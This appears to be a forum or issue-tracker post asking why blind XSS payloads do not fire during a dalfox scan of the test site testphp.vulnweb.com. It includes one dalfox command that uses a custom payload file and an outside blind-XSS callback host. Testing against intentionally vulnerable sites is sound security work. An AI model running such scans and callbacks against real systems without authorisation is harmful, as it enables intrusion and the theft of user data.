BXSS not firing while running dalfox scan

[apprahuman]

I am trying to make a script to check targets for Blind XSS using dalfox, I tried below line to fire bxss but not getting any results in my BXSS client, also I tried with custom payload still not firing, when i put my BXSS client payload with my BXSS link directly to http://testphp.vulnweb.com/listproducts.php\?cat\= its firing.. any idea how can get BXSS fired while running dalfox scan ??

dalfox url http://testphp.vulnweb.com/listproducts.php\?cat\=123\&artist\=123\&asdf\=ff --custom-payload ~/Bugbounty/payloads/myBXssCustomPayloads.txt -b http://xss.ht

Thanks